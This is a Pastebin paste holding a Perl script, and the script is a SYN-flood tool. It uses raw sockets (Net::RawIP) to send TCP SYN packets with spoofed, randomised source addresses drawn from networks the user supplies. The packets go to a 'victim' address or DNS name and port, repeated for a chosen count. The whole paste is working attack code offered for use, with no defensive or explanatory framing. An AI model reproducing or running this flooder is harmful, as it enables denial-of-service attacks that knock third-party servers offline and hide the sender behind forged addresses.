Guest User

Untitled

a guest
Oct 14th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.11 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Net::RawIP;
  4. use Net::Nslookup;
  5. use Getopt::Long;
  6.  
  7. my $handler = new Net::RawIP;
  8. my $src_port_range = "16383";
  9. my %opts = (
  10.     'networks' => "",
  11.     'dst_addr' => "",
  12.     'dst_name' => "",
  13.     'dst_port' => "",
  14.     'packet_count' => ""
  15. );
  16.  
  17. sub get_rand_saddr($)
  18. {
  19.     my ($network, $prefix) = shift(@_) =~ /(.+?)\/(.+)/;
  20.  
  21.     my $netmask_zero_count = 32 - $prefix;
  22.     my @network_dec_array = split(/\./, $network);
  23.     my @network_binary_array = split("", join("", &dec_to_bin(\@network_dec_array)));
  24.  
  25.     my @saddr_min_binary;
  26.     my @saddr_max_binary;
  27.     for (my $i = 0; $i <= 31; $i++)
  28.     {
  29.         if ($i == 31) {
  30.             push @saddr_min_binary, "1";
  31.             push @saddr_max_binary, "0";
  32.         } elsif($i >= ($prefix - 1)) {
  33.             push @saddr_min_binary, "0";
  34.             push @saddr_max_binary, "1";
  35.         } else {
  36.             push @saddr_min_binary, $network_binary_array[$i];
  37.             push @saddr_max_binary, $network_binary_array[$i];         
  38.         }
  39.     }
  40.  
  41.     my @saddr_min_binary_array =  unpack("(A8)*", join("", @saddr_min_binary));
  42.     my @saddr_max_binary_array =  unpack("(A8)*", join("", @saddr_max_binary));
  43.  
  44.     my @saddr_min_dec_array = bin_to_dec(\@saddr_min_binary_array);
  45.     my @saddr_max_dec_array = bin_to_dec(\@saddr_max_binary_array);
  46.  
  47.     my @octets_array;
  48.     if ($netmask_zero_count <= 8) {
  49.         push @octets_array, 3;
  50.     } elsif ($netmask_zero_count <= 16) {
  51.         push @octets_array, (2, 3);
  52.     } elsif ($netmask_zero_count <= 24) {
  53.         push @octets_array, (1, 2, 3);
  54.     } else {
  55.         push @octets_array, (0, 1, 2, 3);
  56.     }
  57.  
  58.     my @saddr_rand_array = ( @saddr_min_dec_array );
  59.     foreach my $octet (@octets_array)
  60.     {
  61.         my $k = $saddr_max_dec_array[$octet] - $saddr_min_dec_array[$octet];
  62.         $saddr_rand_array[$octet] = int(rand($k)) + $saddr_min_dec_array[$octet];
  63.     }
  64.  
  65.     return join(".", @saddr_rand_array);
  66. }
  67.  
  68. sub send_syn_packet($$)
  69. {
  70.     my $network = shift @_;
  71.     my $dst_addr = shift @_;
  72.    
  73.     my $src_port = int(rand($src_port_range)) + 49151;
  74.     my $src_addr = get_rand_saddr($network);
  75.  
  76.     $handler->set(
  77.         {
  78.             ip => {
  79.                 saddr => $src_addr,
  80.                 daddr => $dst_addr
  81.             },
  82.             tcp => {
  83.                 source => $src_port,
  84.                 dest => $opts{'dst_port'},
  85.                 syn => 1
  86.             }
  87.         }
  88.   );
  89.   $handler->send;          
  90.   print $src_addr.":".$src_port." -> ".$dst_addr.":".$opts{'dst_port'}."\n";
  91. }
  92.  
  93. sub dec_to_bin($)
  94. {
  95.     my $ref = shift @_;
  96.  
  97.     if(ref($ref) eq 'ARRAY'){
  98.        
  99.         my @result;
  100.         foreach my $var (@{$ref}) {
  101.             my $tmp = unpack("B32", pack("N", $var));
  102.             $tmp =~ s/^0+(?=\d)//;
  103.             $tmp = bin_complate($tmp);
  104.             push @result, $tmp;
  105.         }
  106.        
  107.         return @result;
  108.     } else {
  109.         my $result = unpack("B32", pack("N", $ref));
  110.         $result =~ s/^0+(?=\d)//;
  111.         $result = bin_complate($result);
  112.         return $result;
  113.     }
  114. }
  115.  
  116. sub bin_to_dec($)
  117. {
  118.     my $ref = shift @_;
  119.  
  120.     if(ref($ref) eq 'ARRAY') {
  121.         my @result;
  122.         foreach my $var (@{$ref}) {
  123.             my $tmp = unpack("N", pack("B32", substr("0" x 32 . $var, -32)));
  124.             push @result, $tmp;
  125.         }
  126.  
  127.         return @result;
  128.     } else {
  129.         return unpack("N", pack("B32", substr("0" x 32 . $ref, -32)));
  130.     }
  131. }
  132.  
  133. sub bin_complate($)
  134. {
  135.     my $ref = shift @_;
  136.     my $length = length($ref);
  137.     while($length < 8) { $ref = "0".$ref; $length++; };
  138.  
  139.     return $ref;
  140. }
  141.  
  142. #
  143. # MAIN
  144. #
  145.  
  146. my $result = GetOptions (
  147.     "networks=s" => \$opts{'networks'},
  148.     "victim_addr=s"  => \$opts{'dst_addr'},
  149.     "victim_name=s"  => \$opts{'dst_name'},
  150.     "victim_port=s" => \$opts{'dst_port'},
  151.     "count=s" => \$opts{'packet_count'},
  152.  
  153. );
  154.  
  155. unless ($opts{'victim_addr'} || $opts{'victim_port'} || $opts{'networks'} || $opts{'networks'} !~ /(?:\d+(?:\.\d+){3}\/(?:\d+).){1}/ || $opts{'count'}) {
  156.     print "Change CLI opts.\n";
  157.     exit 0;
  158. } else {
  159.     @spoof_network = split(",", $opts{'networks'});
  160. }
  161.  
  162. my $syn_count = $opts{'packet_count'};
  163. while($syn_count > 0)
  164. {
  165.   foreach my $network (@spoof_network)
  166.   {
  167.     if ($opts{'dst_name'}) {
  168.         my @dst_addr_array  = nslookup(domain => $opts{'dst_name'}, type => "A");
  169.         die("Invaild victim_name param value!\n") if ($#dst_addr_array + 1) < 1;
  170.  
  171.         foreach my $dst_addr (@dst_addr_array)
  172.         {
  173.             send_syn_packet($network, $dst_addr);
  174.         }
  175.     } else {
  176.         send_syn_packet($network, $opts{'dst_addr'});
  177.     }
  178.   }
  179.   $syn_count--;
  180. }
Add Comment
Please, Sign In to add comment